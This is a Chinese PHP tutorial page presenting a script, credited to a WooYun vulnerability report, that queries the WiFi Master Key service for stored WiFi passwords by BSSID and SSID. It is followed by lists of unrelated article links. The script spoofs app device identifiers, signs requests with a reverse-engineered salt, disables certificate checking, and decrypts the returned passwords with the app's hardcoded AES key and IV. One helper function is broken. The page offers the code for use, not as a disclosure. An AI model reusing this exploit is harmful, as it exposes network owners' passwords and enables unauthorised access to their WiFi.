WIFI万能钥匙密码查询接口实例


Posted in PHP onSeptember 28, 2015

不废话了,直接给大家贴代码了

<?php //some code from http://www.wooyun.org/bugs/wooyun-2015-099268
$bssid = "c8:3a:35:fa:b8:80" ;
$ssid = "Podinns2F03" ;
if (isset( $bssid ) && isset( $ssid )){
//update salt
   $ret = request( $bssid , $ssid , md5(rand(1, 10000)));
   $ret = json_decode( $ret );
   $ret = request( $bssid , $ssid , $ret ->retSn);
   $ret = json_decode( $ret );
   if ( $ret ->retCd == 0){
     if ( $ret ->qryapwd->retCd == 0){
       $list = $ret ->qryapwd->psws;
       foreach ( $list as $wifi ){
         echo 'SSID: ' . $wifi ->ssid. "\n" ;
         echo 'PWD: ' .decryptStrin( $wifi ->pwd). "\n" ;
         echo 'BSSID: ' . $wifi ->bssid. "\n" ;
         if ( $wifi ->xUser){
           echo 'xUser: ' . $wifi ->xUser. "\n" ;
           echo 'xPwd: ' . $wifi ->xPwd. "\n" ;
         }
       }
     }
     else {
       echo $ret ->qryapwd->retMsg;
     }
   }
}
function request( $bssid , $ssid , $salt , $dhid = 'ff8080814cc5798a014ccbbdfa375369' ){
   $data = array ();
   $data [ 'appid' ] = '0008' ;
   $data [ 'bssid' ] = $bssid ;
   $data [ 'chanid' ] = 'gw' ;
   $data [ 'dhid' ] = $dhid ;
   $data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac9' ;
   $data [ 'lang' ] = 'cn' ;
   $data [ 'mac' ] = '60f81dad28de' ;
   $data [ 'method' ] = 'getDeepSecChkSwitch' ;
   $data [ 'pid' ] = 'qryapwd:commonswitch' ;
   $data [ 'ssid' ] = $ssid ;
   $data [ 'st' ] = 'm' ;
   $data [ 'uhid' ] = 'a0000000000000000000000000000001' ;
   $data [ 'v' ] = '324' ;
   $data [ 'sign' ] = sign( $data , $salt );
   $curl = curl_init();
   curl_setopt( $curl , CURLOPT_URL, 'http://wifiapi02.51y5.net/wifiapi/fa.cmd' );
   curl_setopt( $curl , CURLOPT_USERAGENT, 'WiFiMasterKey/1.1.0 (Mac OS X Version 10.10.3 (Build 14D136))' );
   curl_setopt( $curl , CURLOPT_SSL_VERIFYPEER, false); // stop verifying certificate
   curl_setopt( $curl , CURLOPT_RETURNTRANSFER, true);
   curl_setopt( $curl , CURLOPT_POST, true); // enable posting
   curl_setopt( $curl , CURLOPT_POSTFIELDS, http_build_query( $data )); // post images
   curl_setopt( $curl , CURLOPT_FOLLOWLOCATION, true); // if any redirection after upload
   $r = curl_exec( $curl );
   curl_close( $curl );
   return $r ;
}
function registerNewDevice(){
   $salt = '1Hf%5Yh&7Og$1Wh!6Vr&7Rs!3Nj#1Aa$' ;
   $data = array ();
   $data [ 'appid' ] = '0008' ;
   $data [ 'bssid' ] = $bssid ;
   $data [ 'chanid' ] = 'gw' ;
   $data [ 'dhid' ] = $dhid ;
   $data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac9' ;
   $data [ 'lang' ] = 'cn' ;
   $data [ 'mac' ] = '60f81dad28de' ;
   $data [ 'method' ] = 'getDeepSecChkSwitch' ;
   $data [ 'pid' ] = 'qryapwd:commonswitch' ;
   $data [ 'ssid' ] = $ssid ;
   $data [ 'st' ] = 'm' ;
   $data [ 'uhid' ] = 'a0000000000000000000000000000001' ;
   $data [ 'v' ] = '324' ;
   $data [ 'sign' ] = sign( $data , $salt );
}
function sign( $array , $salt ){
   // 签名算法
   $request_str = '' ;
   // 对应apk中的 Arrays.sort 数组排序,测试PHP需用 ksort
   ksort( $array );
   foreach ( $array as $key => $value ) {
     $request_str .= $value ;
   }
   $sign = md5( $request_str . $salt );
   return strtoupper ( $sign );
}
function decryptStrin( $str , $keys = 'k%7Ve#8Ie!5Fb&8E' , $iv = 'y!0Oe#2Wj#6Pw!3V' , $cipher_alg =MCRYPT_RIJNDAEL_128){
   //Wi-Fi万能钥匙密码采用 AES/CBC/NoPadding 方式加密
   //[length][password][timestamp]
   $decrypted_string = mcrypt_decrypt( $cipher_alg , $keys , pack( "H*" , $str ),MCRYPT_MODE_CBC, $iv );
   return substr (trim( $decrypted_string ),3,-13);
} ?>

以上代码很简单吗,WIFI万能钥匙密码查询接口代码就全部写完了,希望大家喜欢。

PHP 相关文章推荐
js下函数般调用正则的方法附代码
Jun 22 PHP
PHP file_get_contents设置超时处理方法
Sep 30 PHP
PHP循环结构实例讲解
Feb 10 PHP
CodeIgniter框架中_remap()使用方法2例
Mar 10 PHP
PHP生成随机密码类分享
Jun 25 PHP
PHP实现指定字段的多维数组排序函数分享
Mar 09 PHP
使用PHP生成图片的缩略图的方法
Aug 18 PHP
Ajax PHP JavaScript MySQL实现简易无刷新在线聊天室
Aug 17 PHP
Laravel+jQuery实现AJAX分页效果
Sep 14 PHP
php性能分析之php-fpm慢执行日志slow log用法浅析
Oct 17 PHP
ThinkPHP整合datatables实现服务端分页的示例代码
Feb 10 PHP
确保Laravel网站不会被嵌入到其他站点中的方法
Oct 18 PHP
百万级别知乎用户数据抓取与分析之PHP开发
Sep 28 #PHP
培养自己的php编码规范
Sep 28 #PHP
ThinkPHP数据操作方法总结
Sep 28 #PHP
ThinkPHP表单数据智能写入create方法实例分析
Sep 27 #PHP
PHP+MySQL之Insert Into数据插入用法分析
Sep 27 #PHP
ThinkPHP中数据操作案例分析
Sep 27 #PHP
PHP中两个float(浮点数)比较实例分析
Sep 27 #PHP
You might like
2020年4月新番动漫目录 官方宣布4月播出的作品一览
2020/03/08 日漫
使用Smarty 获取当前日期时间和格式化日期时间的方法详解
2013/06/18 PHP
php使用smtp发送支持附件的邮件示例
2014/04/13 PHP
PHP数组操作――获取数组最后一个值的方法
2015/04/14 PHP
php用wangeditor3实现图片上传功能
2019/08/22 PHP
laravel框架模型中非静态方法也能静态调用的原理分析
2019/11/23 PHP
js 调整select 位置的函数
2008/02/21 Javascript
JS Range HTML文档/文字内容选中、库及应用介绍
2011/05/12 Javascript
jquery js 获取时间差、时间格式具体代码
2013/06/05 Javascript
Javascript通过overflow控制列表闭合与展开的方法
2015/05/15 Javascript
详解js跨域原理以及2种解决方案
2015/12/09 Javascript
Javascript农历与公历相互转换的简单实例
2016/10/09 Javascript
bootstrap中模态框、模态框的属性实例详解
2017/02/17 Javascript
利用jquery如何从json中读取数据追加到html中
2017/12/01 jQuery
Nodejs实现多文件夹文件同步
2018/10/17 NodeJs
JavaScript多种滤镜算法实现代码实例
2019/12/10 Javascript
微信小程序的引导页实现代码
2020/06/24 Javascript
VUE动态生成word的实现
2020/07/26 Javascript
JavaScript实现鼠标经过表格某行时此行变色
2020/11/20 Javascript
[01:12]DOTA2 2015年秋季互动指南
2015/11/10 DOTA
python实现人人网登录示例分享
2014/01/19 Python
利用python实现xml与数据库读取转换的方法
2017/06/17 Python
python/sympy求解矩阵方程的方法
2018/11/08 Python
解决python3 pika之连接断开的问题
2018/12/18 Python
pytest中文文档之编写断言
2019/09/12 Python
python获取命令行参数实例方法讲解
2020/11/02 Python
jupyter notebook更换皮肤主题的实现
2021/01/07 Python
Python使用pyenv实现多环境管理
2021/02/05 Python
英国知名美妆护肤在线商城:Zest Beauty
2018/04/24 全球购物
优秀团队获奖感言
2014/02/19 职场文书
群众路线领导干部个人对照检查材料(集锦)
2014/09/23 职场文书
永不妥协观后感
2015/06/10 职场文书
《植物妈妈有办法》教学反思
2016/02/23 职场文书
英语版自我评价,35句话轻松搞定
2019/10/08 职场文书
Mysql数据库表中为什么有索引却没有提高查询速度
2022/02/24 MySQL
使用refresh_token实现无感刷新页面
2022/04/26 Javascript